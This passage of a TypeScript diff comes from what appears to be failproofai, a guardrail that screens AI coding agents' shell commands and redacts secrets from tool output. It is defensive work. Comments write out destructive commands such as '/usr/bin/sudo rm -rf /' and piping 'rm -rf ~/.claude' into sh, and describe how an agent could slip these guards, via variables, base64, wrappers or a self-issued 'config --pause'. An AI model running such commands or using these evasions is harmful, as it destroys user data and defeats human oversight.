(target.namesLiteral(resolve(cwd, form))) return true; + } + if (GLOB_METACHAR_RE.test(word) && !/^[-/~$]/.test(word) && globNames(resolve(cwd, word))) return true; + } + return false; + }); + }; + + // Programs handed to an interpreter, judged whole (see INLINE_PROGRAM_RE). + // Found where the interpreter really is a command: through the comment and + // stored-text masks (`readable`), and only where its name is still there in + // `commandsOnly`, which also blanks what a command that is not a shell takes + // as a quoted argument — the example in `git commit -m 'Refuse python3 -c + // "…"'`. Line continuations become blanks of the same width, so an offset in + // one view is the same place in the other. + const namesProgram = (program: string): boolean => (target.namesProgram ?? target.namesLiteral)(program) || namesState(program); + const programText = lexed.readable.replace(/\\\r?\n/g, (joined) => " ".repeat(joined.length)); + for (const match of programText.matchAll(INLINE_PROGRAM_RE)) { + const at = match.index + (/^[\s;&|(\x60]/.test(match[0]) ? 1 : 0); + if (lexed.commandsOnly[at] !== programText[at]) continue; + if (namesProgram(match[1])) return true; + } + for (const body of lexed.programBodies) { + if (namesProgram(body)) return true; } - endSegment(); - return segments; -} -/** `-c` and friends: the flags whose ARGUMENT is a command, not data. */ -const EVAL_FLAG_RE = /^-{1,2}c$/; + let cwdInState = false; + // Whether the walk has lost track of where the shell stands because it may + // stand in too many places: a relative destination may then be anywhere, + // the target included, until a `cd` lands it somewhere known again. + let cwdLost = false; + // How deep in `( … )` the walk is. A `cd`, `pushd` or `popd` inside a + // subshell moves the subshell only, so where the shell stood — its + // directory, its `pushd` stack, and whether that was inside the target — + // comes back when the parenthesis closes: `(cd ~/.failproofai && cat x); rm + // -rf node_modules` was denying a cleanup in an entirely unrelated + // directory, and `(cd /tmp; pushd /tmp); popd` handed the parent a stack + // entry it never had. + let parenDepth = 0; + const cwdScopes: Array<{ + depth: number; + cwds: ReadonlyArray; + olds: ReadonlyArray; + inState: boolean; + lost: boolean; + dirs: DirStack; + }> = []; + // A loop header hands its word list to the body, and the body is a separate + // pipeline that names nothing. Without this, `for f in ~/.failproofai/*; do + // rm -rf $f; done` is a header that only expands and a body that only deletes + // something called `$f`. + let loopCarriesState = false; + // A destination after a `cd` into the target names it, even relative — and + // when the walk has lost track of where the shell stands, every relative + // destination counts: `cd $D && cp x policies-config.json`. + const namesHere = (text: string): boolean => + namesState(text) || + ((cwdInState || cwdLost) && walkCwds.includes(undefined) && (isRelativeShellWord(bareToken(text)) || isRelativeGlobWord(bareToken(text)))); + // The walk SPLITS the splittable text and READS the readable one: both keep + // every offset, so each piece of one is the same piece of the other. Comments + // and stored heredoc bodies are blank in both; separators inside a quoted + // argument are blank only in the first, so a sed or awk program still + // arrives with the separators and redirects it really has. + const { readable, splittable } = lexed; + for (const [pipelineStart, pipelineEnd] of cutRanges(splittable, PIPELINE_SEPARATORS)) { + const pipeline = readable.slice(pipelineStart, pipelineEnd); + const splitPipeline = splittable.slice(pipelineStart, pipelineEnd); + if (!pipeline.trim()) continue; + const reachesState = namesState(pipeline) || cwdInState || cwdLost || loopCarriesState; + if (reachesState && LOOP_HEADER_RE.test(splitPipeline)) loopCarriesState = true; + if (/(?:^|\s)done(?:\s|$)/.test(splitPipeline)) loopCarriesState = false; -/** - * True when a command runs an elevation binary IN COMMAND POSITION. - * - * Anchored structurally rather than by token, for the reason `namesSelfPause` - * is: `SUDO_RE` required the literal token `sudo` at a command boundary, so - * **`/usr/bin/sudo rm -rf /` was ALLOWED** — a direct invocation, no - * obfuscation, one absolute path away from root on a `defaultEnabled` guard. - * Every other form the shell resolves before settling on the binary — prefix - * assignments, redirections, runners and their flags — is walked off first, and - * the comparison is on the BASENAME so a path cannot hide the name. - * - * `doas` is included because it is the same capability under a different name; - * a machine with `doas` installed and only `sudo` blocked is not blocked. - * - * A quoted argument is re-examined ONLY when the command that owns it is a - * shell runner invoked with an eval flag (`bash -c "sudo …"`). That distinction - * is load-bearing: `bash -c "sudo x"` and `grep "a|sudo x"` are identical from - * the outside, and the only thing separating an execution from a search string - * is whether the receiving binary evaluates its argument. - * - * This raises the bar; it does not close the class. A variable (`S=sudo; $S …`), - * base64 through a pipe, and a wrapper script on disk all still reach root, - * because static inspection of one command string cannot follow them. Closing - * that properly needs enforcement below the shell, not a better matcher. - */ -function namesElevation(command: string, depth = 0): boolean { - for (const tokens of quoteAwareSegments(command)) { - let i = 0; - while (i < tokens.length) { - const token = tokens[i]; - const base = token.slice(token.lastIndexOf("/") + 1); - // `sudo`/`doas` are themselves in COMMAND_PREFIX_TOKENS (they legitimately - // stand in front of another binary), so they must be tested BEFORE the - // skip list or the walk would step straight over the thing being looked for. - if (base === "sudo" || base === "doas") return true; - const isSkippable = - ENV_ASSIGNMENT_RE.test(token) || - token.startsWith("-") || - token.startsWith(">") || - token.startsWith("<") || - RUNNER_OPERAND_RE.test(token) || - COMMAND_PREFIX_TOKENS.has(base); - if (!isSkippable) break; - // `sh -c "…"` / `bash -c "…"`: the next token is a COMMAND. Bounded - // recursion so a nested `bash -c "bash -c …"` cannot spin. - if (EVAL_FLAG_RE.test(token) && depth < 3 && i + 1 < tokens.length) { - if (namesElevation(tokens[i + 1], depth + 1)) return true; + // A redirect is a write with no command in front of it — `> path` empties a + // file on its own. Only a redirect whose TARGET is the state counts: the + // previous version matched any `>` anywhere in the segment, so + // `grep -r sudo ~/.failproofai 2>/dev/null` and + // `cat ~/.failproofai/config.json > /tmp/backup.json` both denied, which is + // exactly the diagnosis this guard must not block. + if (reachesState) { + for (const [, redirected] of splitPipeline.matchAll(REDIRECT_TARGET_RE)) { + if (namesHere(redirected.replace(/^["']|["']$/g, ""))) return true; } - i++; } - } - return false; -} -function blockSudo(ctx: PolicyContext): PolicyResult { - if (ctx.toolName !== "Bash") return allow(); - const cmd = getCommand(ctx).trimStart(); - // ONE pass. `shellSegments` unquotes each token individually, so `\sudo` and - // `"sudo"` are still caught — without a whole-string strip, which is what - // turned an escaped pipe in `grep "a\|sudo b"` into a segment separator and - // denied an ordinary search. - if (namesElevation(cmd)) { - // Check allowPatterns — match against parsed tokens, not raw string - const allowPatterns = ((ctx.params?.allowPatterns ?? []) as string[]); - if (allowPatterns.some((p) => matchesAllowedPattern(cmd, p))) return allow(); - return deny("sudo commands are blocked"); - } - // PowerShell: Start-Process -Verb RunAs (elevation) - if (PS_ELEVATION_RE.test(cmd)) { - return deny("Elevated process launch is blocked"); - } - // Windows: runas command - if (RUNAS_RE.test(cmd)) { - return deny("runas elevation is blocked"); + const simples = cutRanges(splitPipeline, /\|/); + for (const [simpleIndex, [simpleStart, simpleEnd]] of simples.entries()) { + const simple = pipeline.slice(simpleStart, simpleEnd); + const splitSimple = splitPipeline.slice(simpleStart, simpleEnd); + parenDepth += (splitSimple.match(/\(/g) ?? []).length; + // A command substitution is one word however many spaces it holds: + // `cp x ~/.claude/settings$( true ).json` has three operands, not five. + const words = commandWords(spliceWordExpansions(blankRedirects(simple, splitSimple), true)); + const head = words.length > 0 ? commandBasename(words[0]) : ""; + // Track the shell's position before judging: a `cd` INTO the state makes + // every later relative path a state path, and a `cd` back out ends that. + if (head === "cd" || head === "pushd" || head === "popd") { + // Every command of a pipeline runs in a subshell, so one before a `|` + // moves nothing: `cd ~/.claude | cat; cp x settings.json` copies into + // the directory the shell already stood in. zsh runs the LAST command + // in the shell itself and bash does not, so after that one the shell + // may stand in either place. + if (simpleIndex === simples.length - 1) { + if (parenDepth > 0) cwdScopes.push({ depth: parenDepth, cwds: walkCwds, olds: oldCwds, inState: cwdInState, lost: cwdLost, dirs: dirStack }); + const before = walkCwds; + let after: ReadonlyArray = before; + let mayFail = false; + const stackWords = head === "cd" ? [] : quoteAwareCommandWords(simple).words.slice(1); + // `-n` changes the stack and leaves the shell where it is; `+N`/`-N` + // rotate the stack, so any entry of it may end up where the shell stands. + const stackOnly = stackWords.includes("-n"); + const rotation = stackWords.some((w) => /^[+-]\d+$/.test(w)); + const stackDirs = (): Array => { + const dirs: Array = []; + for (let entry = dirStack; entry !== null; entry = entry.below) dirs.push(...entry.dirs); + return dirs; + }; + if (head === "popd" && stackOnly) { + if (dirStack !== null) dirStack = dirStack.below; + } else if (rotation) { + // The stack's order after a rotation is not followed: every entry + // may now hold any of the directories, so every later `popd` may + // land on any of them. + const all = [...new Set([...before, ...stackDirs()])]; + let depth = 0; + for (let entry = dirStack; entry !== null; entry = entry.below) depth++; + dirStack = null; + for (let k = 0; k < depth; k++) dirStack = { dirs: all, below: dirStack }; + if (!stackOnly) after = all; + } else if (head === "popd") { + // `popd` returns to wherever the shell was before `pushd`, which + // ends the window as surely as a `cd` out does. Without it every + // command for the rest of the line was judged as if it stood in + // the state directory. On an empty stack it fails and the shell + // stays where it is. + if (dirStack !== null) { + cwdInState = false; + after = dirStack.dirs; + dirStack = dirStack.below; + } + } else if (head === "pushd" && !stackWords.some((w) => !w.startsWith("-") && !/^[+-]\d+$/.test(w))) { + // A bare `pushd` swaps the shell's directory with the top of the stack. + if (dirStack !== null) { + after = dirStack.dirs; + dirStack = { dirs: before, below: dirStack.below }; + } + } else { + const operands = quoteAwareCommandWords(simple).words.slice(1); + // Quote-aware, so `cd "$(dirname ~/.claude/settings.json)"` is one + // operand. A bare `-` is OLDPWD. + const operand = operands.find((w) => w === "-" || !w.startsWith("-")); + // `cd -P` follows links before `..`, the way the kernel walks: + // with `link -> ~/.claude/x`, `cd -P link/..` lands in ~/.claude. + const physical = head === "cd" && operands.some((w) => /^-[A-Za-z@]*P/.test(w)); + if (operand === "-") { + after = oldCwds; + // An OLDPWD from before this command could be anywhere, the target included. + cwdInState = + oldMayBeInitial || + (target.cwd !== undefined && oldCwds.includes(undefined)) || + oldCwds.some((dir) => dir !== undefined && namesState(dir)); + } else { + cwdInState = operand !== undefined && namesState(operand); + // An operand built by expansions moves the shell to each place + // its texts name (`D=sub; cd "$D"`), or somewhere unknown. + const operandForms = operand !== undefined && /[$`]/.test(operand) ? valuesOfWord(operand) : null; + const places: Array = operandForms ?? [operand]; + after = [ + ...new Set([ + ...before.flatMap((cwd) => + places.map((place) => + physical && place !== undefined && !/[$`]/.test(place) + ? physicalAgentPath(place, cwd) ?? cdDestination(cwd, place) + : cdDestination(cwd, place), + ), + ), + ...(operandForms ? [undefined] : []), + ]), + ]; + // failproofai's own state directory is there wherever this guard + // runs, so a `cd` into it does not fail (found by #1058's tests on + // #1053: `cd ~/.failproofai; …; cd -` returned to where it began). + const intoState = operand !== undefined && FAILPROOFAI_STATE_PATH_RE.test(operand) && !/[$`*?[]/.test(operand); + mayFail = !intoState && after.some((dir) => dir === undefined || !isDirectoryNow(dir)); + } + if (head === "pushd") { + if (stackOnly) { + // `pushd -n DIR` files DIR under the top and stays put. + dirStack = { dirs: after, below: dirStack }; + after = before; + mayFail = false; + } else { + dirStack = { dirs: before, below: dirStack }; + } + } + } + // A `cd` that fails leaves OLDPWD alone too: after `cd /missing`, + // `cd -` may still return to where an earlier `cd` left. + if (!mayFail && after !== before) oldMayBeInitial = false; + oldCwds = mayFail ? [...new Set([...before, ...oldCwds])] : after === before ? oldCwds : before; + walkCwds = [...new Set(mayFail || simples.length > 1 ? [...after, ...before] : after)]; + // Past a few places the walk stops naming them, and a relative + // destination may then be in any of them, the target included: from + // there on every one counts, until a `cd` lands somewhere known. + // A directory that is not there, and that nothing on the line can + // make, is one no `cd` reaches; past the limit those places go first, + // so `cd a && cd b && … && cd e` from a project without them is not + // 2^5 places (found by #1058's tests on #1053). The session's own + // directory always counts as there. + if (walkCwds.length > 16) { + walkCwds = walkCwds.filter( + (dir) => dir === undefined || dir === target.cwd || lineMakesDirectories || isDirectoryNow(dir), + ); + if (walkCwds.length === 0) walkCwds = [target.cwd]; + } + if (walkCwds.length > 16) { + cwdLost = true; + walkCwds = [undefined]; + } else if (walkCwds.every((dir) => dir !== undefined)) { + cwdLost = false; + } + } + } else if (reachesState && simpleIndex > 0 && quoteAwareCommandWords(simple).readsStdinProgram) { + // A bare shell or interpreter after a pipe runs the text piped into it: + // `echo 'rm -rf ~/.claude' | sh`. Whatever names the target upstream is + // its program. + return true; + } else if ((reachesState || (head === "git" && gitReachesTarget(quoteAwareCommandWords(simple).words, walkCwds, namesHere, valuesOfWord))) && words.length > 0) { + // `xargs` hands the paths on its stdin to the command after it, so a + // copy or a `tee` fed by `echo |` names its destination nowhere + // in its own words. Judged like `find -exec`: only a reader is safe. + // Read from the command's own words, not its quoted arguments. + if (quoteAwareCommandWords(simple).viaXargs && !SAFE_EXEC_COMMANDS.has(head)) return true; + // Judged BEFORE the closing parenthesis is counted: a `rm -rf ./*)` + // still runs inside the subshell it closes. + if (simpleCommandDestroys(words, namesHere, target, simple, cwdInState || cwdLost, walkCwds, valuesOfWord)) return true; + } + parenDepth -= (splitSimple.match(/\)/g) ?? []).length; + while (cwdScopes.length > 0 && parenDepth < cwdScopes[cwdScopes.length - 1].depth) { + const scope = cwdScopes.pop()!; + walkCwds = scope.cwds; + oldCwds = scope.olds; + cwdInState = scope.inState; + cwdLost = scope.lost; + dirStack = scope.dirs; + } + } } - return allow(); + return false; } - +const FAILPROOFAI_UNINSTALL_RE = /(?:npm\s+(?:uninstall|remove|un|r)\s.*failproofai|bun\s+remove\s.*failproofai|yarn\s+global\s+remove\s+failproofai|pnpm\s+(?:remove|uninstall|un)\s.*failproofai)/; +// warnGitAmend +const GIT_AMEND_RE = /\bgit\s+commit\b.*--amend\b/; +// warnGitStashDrop +const GIT_STASH_DROP_RE = /\bgit\s+stash\s+(?:drop|clear)\b/; +// warnGitClean /** - * A pause the agent can issue is not a guardrail. + * `git`, however the command line spells it. Same shape as {@link RM_CMD_RE}: + * an absolute path to the binary does not change what it does. + */ +const GIT_CMD_RE = /^(?:\/\S*\/)?git$/; +/** A short-flag cluster: `-f`, `-fdx`, `-xdf`. */ +const SHORT_FLAG_CLUSTER_RE = /^-[A-Za-z]+$/; +/** + * `clean.requireForce=false`, the config that makes `git clean` delete with no + * `-f` at all — and settable per invocation as `git -c + * clean.requireForce=false clean -xd`. Reading the subcommand's flags alone + * would call that "no force, no warning" on the one spelling that needs none. + */ +const GIT_CLEAN_FORCE_WAIVED_RE = /^clean\.requireforce=(?:false|0|no|off)$/i; +/** + * The default `destructiveFlags`, and why the condition is these three letters + * rather than "any `git clean`". * - * `failproofai config --pause` is a human affordance: you watched the agent get - * blocked, you judged the block wrong, you suspended enforcement for a bit. An - * agent that can run it turns every other policy advisory — it need only shell - * out once to switch them all off, and the pause even survives into later turns. + * `git clean` deletes nothing without `-f` / `--force` (or the config above), + * and `-n` / `--dry-run` only prints — so force is the precondition and + * dry-run is the exemption. What force ALONE removes is untracked files in the + * current directory: the narrowest spelling, and the one people mean when they + * tidy up. These are the letters that widen the blast radius past that: * - * This raises the bar rather than closing the class: an agent can still reach - * the same state obfuscated (base64, a wrapper script, an alias). Closing it - * properly means the pause cannot originate from a tool call at all — a - * dashboard action, or a daemon that accepts it only from a TTY. Until then, - * the honest description of this policy is "stops the obvious attempt". + * - `-x` also removes IGNORED files — `.env`, local config, editor state, + * scratch work. That is the data that genuinely cannot be rebuilt by running + * a command, and it is what makes `git clean -fdx` the severe spelling. + * - `-X` removes ONLY ignored files: the same loss, tracked tree untouched. + * - `-d` also removes untracked DIRECTORIES — whole new subtrees git has never + * had a copy of. * - * It is deliberately NOT redundant with `block-failproofai-commands`, which - * blocks the CLI far more broadly. That one anchors on a command boundary - * (`FAILPROOFAI_CLI_RE`), so `npx -y failproofai config --pause` does not match - * it — and being broad, it is a policy people plausibly switch off so agents - * can run `failproofai audit`. Neither gap should leave pausing reachable, so - * this stays narrow, matches the runner forms, and survives that one being off. + * A bare `git clean -f` is deliberately absent. It has the smallest radius and + * by far the most traffic, and a guard that fires on the ordinary spelling is + * one people switch off — which would cost them the `-fdx` warning too. Add + * `"f"` to `destructiveFlags` to opt into it. */ - -function blockCurlPipeSh(ctx: PolicyContext): PolicyResult { - if (ctx.toolName !== "Bash") return allow(); - const cmd = getCommand(ctx); - if (CURL_PIPE_SH_RE.test(cmd)) { - return deny("Piping downloads to shell is blocked"); +const GIT_CLEAN_DESTRUCTIVE_FLAGS = ["d", "x", "X"]; +// warnAllFilesStaged +const GIT_ADD_ALL_RE = /\bgit\s+add\s+(?:-A\b|--all\b|\.(?:\s|$|;|&&|\|\|))/; +// warnGlobalPackageInstall +const NPM_GLOBAL_RE = /\bnpm\s+(?:install|i)\b(?=.*(?:\s-g\b|--global\b))/; +const YARN_GLOBAL_RE = /\byarn\s+global\s+add\b/; +const PNPM_GLOBAL_RE = /\bpnpm\s+(?:add|install|i)\b(?=.*(?:\s-g\b|--global\b))/; +const BUN_GLOBAL_RE = /\bbun\s+(?:install|add)\b(?=.*(?:\s-g\b|--global\b))/; +const CARGO_INSTALL_RE = /\bcargo\s+install\b/; +const PIP_SYSTEM_RE = /\bpip(?:3)?\s+install\b(?=.*(?:--user\b|--break-system-packages\b))/; +// preferPackageManager — maps manager name → detection patterns +const PKG_MANAGER_DETECTORS: Record = { + pip: [/\bpip\b/, /\bpip3\b/, /\bpython3?\s+-m\s+pip\b/], + npm: [/\bnpm\b/, /\bnpx\b/], + yarn: [/\byarn\b/], + pnpm: [/\bpnpm\b/, /\bpnpx\b/], + bun: [/\bbun\b/, /\bbunx\b/], + uv: [/\buv\b/], + poetry: [/\bpoetry\b/], + pipenv: [/\bpipenv\b/], + conda: [/\bconda\b/], + cargo: [/\bcargo\b/], +}; +// warnBackgroundProcess +const NOHUP_RE = /\bnohup\s+\S/; +const SCREEN_DETACH_RE = /\bscreen\s+-[A-Za-z]*d[A-Za-z]*\b/; +const TMUX_DETACH_RE = /\btmux\s+(?:new-session|new)\b[^|&;]*-d\b/; +const DISOWN_RE = /\bdisown\b/; +const BACKGROUND_AMPERSAND_RE = /(?(); +const GIT_BRANCH_CACHE_MAX_ENTRIES = 500; +function statGitHeadMtimeMs(cwd: string): number | null { + try { + return statSync(join(cwd, ".git", "HEAD")).mtimeMs; + } catch { + return null; } - // PowerShell: iwr | iex, irm | iex, Invoke-WebRequest | Invoke-Expression - if (PS_WEB_PIPE_RE.test(cmd)) { - return deny("Piping downloads to Invoke-Expression is blocked"); +} +function getCurrentBranch(cwd: string): string | null { + try { + const headMtimeMs = statGitHeadMtimeMs(cwd); + const cached = gitBranchCache.get(cwd); + if (cached && headMtimeMs !== null && cached.headMtimeMs === headMtimeMs) { + return cached.branch || null; + } + const branch = execSync("git rev-parse --abbrev-ref HEAD", { + cwd, + encoding: "utf8", stdio: ["pipe", "pipe", "pipe"], + timeout: 3000, + }).trim(); + if (headMtimeMs !== null) { + if (gitBranchCache.size >= GIT_BRANCH_CACHE_MAX_ENTRIES) gitBranchCache.clear(); + gitBranchCache.set(cwd, { branch, headMtimeMs }); + } + return branch || null; + } catch { + return null; } - return allow(); } - -function extractGitPushArgs(cmd: string): string[] { - return cmd - .split(/&&|\|\||[|;\n]/) - .map((s) => s.trim()) - .filter((s) => /^git\s+push\s/.test(s)) - .map((s) => s.replace(/^git\s+push\s+/, "")); +function getHeadSha(cwd: string): string | null { + try { + const sha = execSync("git rev-parse HEAD", { + cwd, + encoding: "utf8", stdio: ["pipe", "pipe", "pipe"], + timeout: 3000, + }).trim(); + return sha || null; + } catch { + return null; + } +} +interface CiCheck { + name: string; + status: string; + conclusion: string; } +/** Fetch third-party check runs (non-GitHub-Actions) for a commit via the Checks API. */ +function getThirdPartyCheckRuns(cwd: string, sha: string): CiCheck[] { + try { + const json = execFileSync( + "gh", + [ + "api", + `repos/{owner}/{repo}/commits/${sha}/check-runs`, + "--jq", + '.check_runs | map(select(.app.slug != "github-actions")) | map({name: .name, status: .status, conclusion: (.conclusion // "")})', + ], + { + cwd, + encoding: "utf8", stdio: ["pipe", "pipe", "pipe"], + timeout: 15000, + }, + ).trim(); -function blockPushMaster(ctx: PolicyContext): PolicyResult { - if (ctx.toolName !== "Bash") return allow(); - const protectedBranches = ((ctx.params?.protectedBranches ?? ["main", "master"]) as string[]); - if (protectedBranches.length === 0) return allow(); - const args = extractGitPushArgs(getCommand(ctx)); - const branchPattern = new RegExp(`\\b(?:${protectedBranches.map((b) => b.replace(/[.*+?^${}()|[\]\\]/g, "\\$&")).join("|")})\\b`); - if (args.some((a) => branchPattern.test(a))) { - return deny(`Pushing to ${protectedBranches.join("/")} is blocked`); + if (!json || json === "[]") return []; + return JSON.parse(json) as CiCheck[]; + } catch { + return []; } - return allow(); } +/** Fetch commit statuses (legacy Status API) and normalize to CiCheck format. */ +function getCommitStatuses(cwd: string, sha: string): CiCheck[] { + try { + const json = execFileSync( + "gh", + [ + "api", + `repos/{owner}/{repo}/commits/${sha}/statuses`, + "--jq", + 'map({name: .context, state: .state}) | unique_by(.name)', + ], + { + cwd, + encoding: "utf8", stdio: ["pipe", "pipe", "pipe"], + timeout: 15000, + }, + ).trim(); -// -- block-rm-rf: deletion-target resolution -- - + if (!json || json === "[]") return []; + const statuses = JSON.parse(json) as Array<{ name: string; state: string }>; + return statuses.map((s) => ({ + name: s.name, + status: s.state === "pending" ? "in_progress" : "completed", + conclusion: s.state === "pending" ? "" : s.state === "success" ? "success" : "failure", + })); + } catch { + return []; + } +} /** - * Leading shell forms that resolve to a home directory: `~`, `~user`, `$HOME`, - * `${HOME}`. The lookahead keeps `$HOMEBREW_PREFIX` (a variable this policy - * cannot resolve) from being mistaken for `$HOME`. - */ -const HOME_PREFIX_RE = /^(?:~[A-Za-z0-9_.-]*|\$HOME|\$\{HOME\})(?=$|\/)/; - -/** `rm`, `/bin/rm`, `/usr/bin/rm`, … — the command word of a delete. */ -const RM_CMD_RE = /^(?:\/\S*\/)?rm$/; - -/** `find` expression that deletes: `-delete`, `-exec rm`, `-execdir rm`, `-ok rm`. */ -// Same shape as RM_CMD_RE: `find` is just as dangerous when invoked by -// absolute path (`/usr/bin/find / -delete`), so match both forms. -const FIND_CMD_RE = /^(?:\/\S*\/)?find$/; -const FIND_EXEC_RE = /^-(?:exec|execdir|ok|okdir)$/; - -/** find's global options, which precede its path operands (`find -L / -delete`). */ -const FIND_GLOBAL_OPT_RE = /^-(?:[HLP]|D|O\d*)$/; - -/** First token of find's expression — everything before it is a path operand. */ -const FIND_EXPR_START_RE = /^(?:-|\\?[(!])/; - -/** - * Roots that exist to hold throwaway data. A delete of the root itself is still - * catastrophic (`rm -rf /tmp` wipes every process's scratch space); a delete of - * something *inside* one is ordinary work. - */ -const SCRATCH_ROOTS = ["/tmp", "/var/tmp"]; - -/** - * How many path segments below a root (`/` or a home directory) a delete has to - * reach before it stops being catastrophic. `/etc` (1) and `/home/chetan` (2) - * are system- and user-level directories; `/home/chetan/project` (3) is a - * specific thing the caller meant to delete. + * Check if a command matches an allow pattern using token-by-token comparison. + * The "*" token is a wildcard. Extra command tokens beyond the pattern are allowed, + * UNLESS any token is a standalone shell operator (&&, ||, |, ;) OR contains an + * embedded shell metacharacter — both cases are rejected to prevent bypass via + * appended sub-commands or glued operators (e.g. "nginx;" or "nginx;evil"). */ -const CATASTROPHIC_DEPTH = 2; - -/** Expand the leading `~` / `$HOME` / `${HOME}` of a path to the real home directory. */ -function expandHomePrefix(path: string): string { - const m = path.match(/^(?:~|\$HOME|\$\{HOME\})(?=$|\/)/); - return m ? homedir() + path.slice(m[0].length) : path; -} - -/** Drop a trailing `/*` glob and any trailing slashes: `/tmp/foo/*` → `/tmp/foo`. */ -function stripTrailingGlob(path: string): string { - return path.replace(/\/\*$/, "").replace(/\/+$/, ""); +function matchesAllowedPattern(cmd: string, pattern: string): boolean { + const cmdTokens = parseArgvTokens(cmd); + const patTokens = parseArgvTokens(pattern); + if (cmdTokens.length < patTokens.length) return false; + // Reject commands containing standalone shell-operator tokens + if (cmdTokens.some((tok) => SHELL_OPERATORS.has(tok))) return false; + // Reject any token containing embedded shell metacharacters + if (cmdTokens.some((tok) => SHELL_METACHAR_RE.test(tok))) return false; + return patTokens.every((tok, i) => tok === "*" || tok === cmdTokens[i]); } -/** - * Would deleting this target be catastrophic? - * - * Rather than pattern-matching the raw command text, this resolves the token as - * far as the shell would: quotes are stripped, `~` / `$HOME` are recognised as a - * root in their own right, and the remaining path segments are counted. A target - * within {@link CATASTROPHIC_DEPTH} segments of either root (`/` or home) takes - * out the machine or the user's data. - * - * Fails safe: a token whose head is an expansion this policy cannot evaluate — - * command substitution (`$(…)`, backticks) or any variable other than `$HOME` — - * could expand to `/`, so it counts as catastrophic. Relative targets are not - * flagged: they resolve under the working directory, not under a root. - */ -function isCatastrophicTarget(token: string): boolean { - const raw = token.replace(/^['"]|['"]$/g, ""); - if (raw === "") return false; - - const homePrefix = raw.match(HOME_PREFIX_RE); - // Unresolvable head: `$(echo /)`, `` `pwd` ``, `$TARGET_DIR`, … - if (!homePrefix && /^[$`]/.test(raw)) return true; - - const belowRoot = homePrefix ? raw.slice(homePrefix[0].length) : raw.startsWith("/") ? raw : null; - if (belowRoot === null) return false; - - const segments = stripTrailingGlob(belowRoot).split("/").filter(Boolean); - if (!homePrefix && SCRATCH_ROOTS.some((r) => `/${segments.join("/")}`.startsWith(`${r}/`))) return false; - return segments.length <= CATASTROPHIC_DEPTH; +// -- Policy implementations -- +function sanitizeJwt(ctx: PolicyContext): PolicyResult { + // PostToolUse: scrub JWT patterns from tool output + const output = JSON.stringify(ctx.payload); + if (JWT_RE.test(output)) { + return { + decision: "deny", + reason: "JWT token detected in tool output", + message: "[REDACTED: JWT token removed by failproofai]", + }; + } + return allow(); } +function sanitizeApiKeys(ctx: PolicyContext): PolicyResult { + // PostToolUse: scrub common API key patterns from tool output + const output = JSON.stringify(ctx.payload); + for (const [pattern, label] of API_KEY_PATTERNS) { + if (pattern.test(output)) { + return { + decision: "deny", + reason: `${label} detected in tool output`, + message: `[REDACTED: ${label} removed by failproofai]`, + }; + } + } -/** - * The paths a single command segment would recursively delete, or `null` when the - * segment is not a recursive delete at all. - * - * Understands the two shapes that reach every file under a target: `rm` with both - * `-r` and `-f` (in any spelling or order), and `find`, which recurses by design, - * paired with `-delete` or an `-exec rm`. - */ -function recursiveDeletionTargets(seg: string): string[] | null { - const tokens = parseArgvTokens(seg); - - const findIdx = tokens.findIndex((t) => FIND_CMD_RE.test(t)); - if (findIdx >= 0) { - const expr = tokens.slice(findIdx + 1); - const execIdx = expr.findIndex((t) => FIND_EXEC_RE.test(t)); - const deletes = expr.includes("-delete") || (execIdx >= 0 && RM_CMD_RE.test(expr[execIdx + 1] ?? "")); - if (deletes) { - // find's path operands sit between the leading global options and the - // first expression token: `find -L /home/chetan -name '*.log' -delete` - let start = 0; - while (start < expr.length && FIND_GLOBAL_OPT_RE.test(expr[start])) { - start += expr[start] === "-D" ? 2 : 1; + // Check additional user-configured patterns + const additional = ((ctx.params?.additionalPatterns ?? []) as Array<{ regex: string; label: string }>); + for (const { regex, label } of additional) { + try { + if (new RegExp(regex).test(output)) { + return { + decision: "deny", + reason: `${label} detected in tool output`, + message: `[REDACTED: ${label} removed by failproofai]`, + }; } - const rest = expr.slice(start); - const end = rest.findIndex((t) => FIND_EXPR_START_RE.test(t)); - return end < 0 ? rest : rest.slice(0, end); + } catch { + hookLogWarn(`additionalPatterns: invalid regex "${regex}", skipping`); } } - const rmIdx = tokens.findIndex((t) => RM_CMD_RE.test(t)); - if (rmIdx >= 0) { - const args = tokens.slice(rmIdx + 1); - const shortFlags = args.filter((t) => /^-[^-]/.test(t)).join(""); - const longFlags = args.filter((t) => /^--/.test(t)); - const recursive = /r/i.test(shortFlags) || longFlags.some((f) => /^--recursive$/i.test(f)); - const force = /f/.test(shortFlags) || longFlags.some((f) => /^--force$/i.test(f)); - if (recursive && force) return args.filter((t) => !t.startsWith("-")); + return allow(); +} +function sanitizeConnectionStrings(ctx: PolicyContext): PolicyResult { + // PostToolUse: scrub database connection strings with embedded credentials + const output = JSON.stringify(ctx.payload); + if (CONNECTION_STRING_RE.test(output)) { + return { + decision: "deny", + reason: "Database connection string with credentials detected in tool output", + message: "[REDACTED: connection string removed by failproofai]", + }; } - - return null; + return allow(); } - -/** Split a command into the segments the shell would run as separate commands. */ -function shellSegments(cmd: string): string[] { - return cmd.split(/&&|\|\||[|;\n]/).map((s) => s.trim()).filter((s) => s !== ""); +function sanitizePrivateKeyContent(ctx: PolicyContext): PolicyResult { + // PostToolUse: scrub PEM private key blocks from tool output + const output = JSON.stringify(ctx.payload); + if (PRIVATE_KEY_RE.test(output)) { + return { + decision: "deny", + reason: "Private key content detected in tool output", + message: "[REDACTED: private key content removed by failproofai]", + }; + } + return allow(); } - -/** - * Check whether all recursive-delete targets in a command are under an allowlisted path. - * Splits on shell operators first so that `/tmp` appearing in an unrelated - * sub-command (e.g. `echo /tmp && rm -rf /`) does not trigger a false allow. - * Uses path-boundary comparison so `/tmp` does not cover `/tmp2`. - * Non-recursive rm segments (no -r/-R flag) are skipped — they pose no catastrophic risk. - * Quoted paths with spaces are handled via a segment-level regex fallback. - * Home-relative targets and allowPaths entries are expanded, so `~/scratch` is - * covered by an allowPaths entry of either `~/scratch` or the absolute home path. - */ -function deletionTargetIsAllowed(cmd: string, allowPaths: string[]): boolean { - if (allowPaths.length === 0) return false; - const normalizedAllowPaths = allowPaths.map((p) => stripTrailingGlob(expandHomePrefix(p)) || "/"); - let sawRecursiveDelete = false; - for (const seg of shellSegments(cmd)) { - const targets = recursiveDeletionTargets(seg); - if (targets === null) continue; - sawRecursiveDelete = true; - for (const target of targets) { - const normalized = stripTrailingGlob(expandHomePrefix(target)) || "/"; - const covered = normalizedAllowPaths.some((np) => normalized === np || normalized.startsWith(np + "/")); - if (!covered) { - // Fallback: check the raw segment for quoted paths that contain spaces - // (parseArgvTokens splits on whitespace, so "/tmp/my dir" becomes two tokens) - const segCovered = allowPaths.some((p) => { - const escaped = p.replace(/[.*+?^${}()|[\]\\]/g, 